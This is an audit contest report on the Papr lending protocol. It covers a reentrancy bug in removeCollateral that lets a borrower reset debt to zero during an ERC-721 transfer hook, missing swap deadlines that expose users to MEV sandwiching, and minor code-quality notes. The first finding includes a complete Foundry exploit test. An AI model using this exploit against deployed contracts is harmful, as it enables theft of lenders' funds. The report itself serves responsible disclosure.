Papr contest - Bobface's results

Lines of code

https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L444

Vulnerability details

Resetting debt to zero through reentrancy from _removeCollateral

Summary

PaprController._removeCollateral purposefully allows for reentrancy to repay debt before the collateral is removed. This reentrancy can be abused to participate in a liquidation auction and reset the debt to zero.

Detailed description

PaprController._removeCollateral calls safeTransferFrom on the NFT to be withdrawn, which potentially hands code execution to the caller through the ERC-721 transfer hook. This is intentional and even documented in the code, saying this hook can be used to pay back debt in the same transaction. After transferring the NFT, the function checks that the user is not overly in debt, which would cause a revert.

However, an attacker could also call PaprController.purchaseLiquidationAuctionNFT during the hook, which, with some previous setup, can cause the attacker's debt to be reset to zero:

1. Deposit two NFTs from the same collection as collateral to the controller.
2. Borrow the maximum PAPR amount possible, to a) get the maximum amount of PAPR and b) get as close as possible to liquidation.
3. When the price drops just by a minimal amount, the NFTs can be liquidated. Execute the following steps in a single transaction by using a contract: 4. Call PaprController.startLiquidationAuction to start an auction on only the first NFT. 5. Call PaprController.removeCollateral to remove the second NFT. 6. During the ERC-721 hook, call PaprController.purchaseLiquidationAuctionNFT to purchase the first NFT. Since removeCollateral previously set count to 0, isLastCollateral is true. This means that the last if statement in purchaseLiquidationAuctionNFT will be executed, setting the remaining debt to zero. We receive the first NFT from the auction. 7. The ERC-721 hook is finished and the code execution returns to removeCollateral, where there is now zero debt and the NFT is sent out.

At the end of the process the attacker owns both NFTs and PAPR which was earlier borrowed. The profit could even be further increased by waiting for a while after the auction started for the price to reduce. This bears the risk that someone else liquidates the position first.

Recommended mitigation

Either use transferFrom in PaprController._removeCollateral to not execute the ERC-721 hook or use reentrancy guards such as Open Zeppelin ReentrancyGuard on the affected functions to disallow reentrancy.

PoC

Paste the following test into test/paprController and run it using

MAINNET_RPC_URL=<ENDPOINT URL> forge test -m testExploit -vv

The -vv flag is important to display the console.log output. The output look as follows:

  We own the first NFT:
  true
  We own the second NFT:
  true
  Amount of PAPR we own:
  300000000000000000

import {PaprController} from "../../src/PaprController.sol";
import {ReservoirOracleUnderwriter} from "../../src/ReservoirOracleUnderwriter.sol";
import {BasePaprControllerTest} from "./BasePaprController.ft.sol";
import {IPaprController} from "../../src/interfaces/IPaprController.sol";
import {ERC721TokenReceiver} from "solmate/tokens/ERC721.sol";
import {INFTEDA} from "../../src/NFTEDA/extensions/NFTEDAStarterIncentive.sol";

import "forge-std/console.sol";

contract ExploitTest is BasePaprControllerTest, ERC721TokenReceiver {
    INFTEDA.Auction auction;
    uint256 firstNftID = 100;
    uint256 secondNftID = 200;

    function testExploit() external {
        // ============================================================ //
        // ========================== SETUP =========================== //
        // ============================================================ //

        // Mint two NFTs from the same collection
        nft.mint(address(this), firstNftID);
        nft.mint(address(this), secondNftID);

        // ============================================================ //
        // ====================== ADD COLLATERAL ====================== //
        // ============================================================ //

        // Add both NFTs as collateral
        nft.approve(address(controller), firstNftID);
        nft.approve(address(controller), secondNftID);
        IPaprController.Collateral[]
            memory collateralArr = new IPaprController.Collateral[](2);
        collateralArr[0] = IPaprController.Collateral({
            addr: nft,
            id: firstNftID
        });
        collateralArr[1] = IPaprController.Collateral({
            addr: nft,
            id: secondNftID
        });
        controller.addCollateral(collateralArr);

        // ============================================================ //
        // ========================== BORROW ========================== //
        // ============================================================ //

        // Borrow the rough maximum we can.
        // In reality we could borrow a bit more if we do the exact math,
        // but for the demo this precision is enough.
        // The goal is to a) get as much papr as we can and b) get close to the liquidation zone
        controller.increaseDebt(address(this), nft, 3 * 10**18, oracleInfo);

        // ============================================================ //
        // ======================== LIQUIDATE ========================= //
        // ============================================================ //

        // The price dropped a bit just now and the position came into liquidation range.
        // All actions that follow from here on are imagined to take place in a
        // single transaction by the attacker by using a contract.

        // Start the liquidation auction for the first NFT only
        oraclePrice = 1e6;
        priceKind = ReservoirOracleUnderwriter.PriceKind.TWAP;
        oracleInfo = _getOracleInfoForCollateral(nft, underlying);
        auction = controller.startLiquidationAuction(
            address(this),
            collateralArr[0],
            oracleInfo
        );

        // ============================================================ //
        // ==================== REMOVE COLLATERAL ===================== //
        // ============================================================ //

        // Remove the second NFT which we still have deposited as collateral.
        // This call should revert since we would have only debt and no collateral.
        // However, re-entering during the transfer hook lets us make this call succeed.
        priceKind = ReservoirOracleUnderwriter.PriceKind.LOWER;
        oracleInfo = _getOracleInfoForCollateral(nft, underlying);
        IPaprController.Collateral[]
            memory collateralArrRemove = new IPaprController.Collateral[](1);
        collateralArrRemove[0] = IPaprController.Collateral({
            addr: nft,
            id: secondNftID
        });
        controller.removeCollateral(
            address(this),
            collateralArrRemove,
            oracleInfo
        );

        // Before the lines below get executed, the `onERC721Received` gets called

        console.log("We own the first NFT:");
        console.logBool(nft.ownerOf(firstNftID) == address(this));
        console.log("We own the second NFT:");
        console.logBool(nft.ownerOf(secondNftID) == address(this));
        console.log("Amount of PAPR we own:");
        console.logUint(debtToken.balanceOf(address(this)));
    }

    function onERC721Received(
        address from,
        address,
        uint256 _id,
        bytes calldata data
    ) external override returns (bytes4) {
        // Check that this is the hook from trying to remove the remaining collateral
        if (_id != secondNftID) {
            return ERC721TokenReceiver.onERC721Received.selector;
        }

        // ============================================================ //
        // =================== BUY LIQUIDATION NFT ==================== //
        // ============================================================ //

        // Buy the liquidated NFT
        priceKind = ReservoirOracleUnderwriter.PriceKind.TWAP;
        oracleInfo = _getOracleInfoForCollateral(nft, underlying);
        debtToken.approve(address(controller), type(uint256).max);
        controller.purchaseLiquidationAuctionNFT(
            auction,
            type(uint256).max,
            address(this),
            oracleInfo
        );

        // Here, our debt has been reset to zero, and `removeCollateral` will not revert.

        return ERC721TokenReceiver.onERC721Received.selector;
    }
}

Lines of code

https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L208 https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L182

Vulnerability details

Missing deadline checks allow pending transactions to be maliciously executed

Summary

The PaprController contract does not allow users to submit a deadline for their actions which execute swaps on Uniswap V3. This missing feature enables pending transactions to be maliciously executed at a later point.

Detailed description

AMMs provide their users with an option to limit the execution of their pending actions, such as swaps or adding and removing liquidity. The most common solution is to include a deadline timestamp as a parameter (for example see Uniswap V2 and Uniswap V3). If such an option is not present, users can unknowingly perform bad trades:

1. Alice wants to swap 100 tokens for 1 ETH and later sell the 1 ETH for 1000 DAI.
2. The transaction is submitted to the mempool, however, Alice chose a transaction fee that is too low for miners to be interested in including her transaction in a block. The transaction stays pending in the mempool for extended periods, which could be hours, days, weeks, or even longer.
3. When the average gas fee dropped far enough for Alice's transaction to become interesting again for miners to include it, her swap will be executed. In the meantime, the price of ETH could have drastically changed. She will still get 1 ETH but the DAI value of that output might be significantly lower. She has unknowingly performed a bad trade due to the pending transaction she forgot about.

An even worse way this issue can be maliciously exploited is through MEV:

1. The swap transaction is still pending in the mempool. Average fees are still too high for miners to be interested in it. The price of tokens has gone up significantly since the transaction was signed, meaning Alice would receive a lot more ETH when the swap is executed. But that also means that her maximum slippage value (sqrtPriceLimitX96 and minOut in terms of the Papr contracts) is outdated and would allow for significant slippage.
2. A MEV bot detects the pending transaction. Since the outdated maximum slippage value now allows for high slippage, the bot sandwiches Alice, resulting in significant profit for the bot and significant loss for Alice.

Since Papr directly builds on Uniswap V3, such deadline parameters should also be offered to the Papr users when transactions involve performing swaps. However, there is no deadline parameter available. Some functions, such as _increaseDebtAndSell, are to some degree protected due to the oracle signatures becoming outdated after 20 minutes, though even that could be too long for certain trades. Other functions, such as buyAndReduceDebt, are entirely unprotected.

Recommended mitigation

Introduce a deadline parameter to all functions which potentially perform a swap on the user's behalf.

A word on the severity

Categorizing this issue into medium versus high was not immediately obvious. I came to the conclusion that this is a high-severity issue for the following reason:

I run an arbitrage MEV bot myself, which also tracks pending transactions in the mempool, though for another reason than the one mentioned in this report. There is a significant amount of pending and even dropped transactions: over 200,000 transactions that are older than one month. These transactions do all kinds of things, from withdrawing from staking contracts to sending funds to CEXs and also performing swaps on DEXs like Uniswap. This goes to show that this issue will in fact be very real, there will be very old pending transactions wanting to perform trades without a doubt. And with the prevalence of advanced MEV bots, these transactions will be exploited as described in the second example above, leading to losses for Papr's users.

PoC

Omitted in this case, since the exploit is solely based on the fact that there is no limit on how long a transaction including a swap is allowed to be pending, which can be clearly seen when looking at the mentioned functions.

Papr QA Report

The codebase looks well structured and adheres to best practices throughout. A few minor possible improvements are listed below.

Non-Critical

Specify variable visibility

The visibility of variables should be explicitly stated, even if the default value is intended.

Avoid duplicate code

Avoid duplicate code blocks.

Use built-in type(...).max value

When checking that a value does not overflow on conversion to a smaller type, use type(...).max instead of calculating the maximum value through arithmetic.

Prefer constant over immutable

Constant variables which are not changed in the constructor should be constant instead of immutable.

Store magic numbers as constants

Magic numbers should be stored as constants and given an appropriate name.

Format large numbers with underscores

Large numbers should be formatted with underscores to improve readability, e.g. 1000000 -> 1_000_000.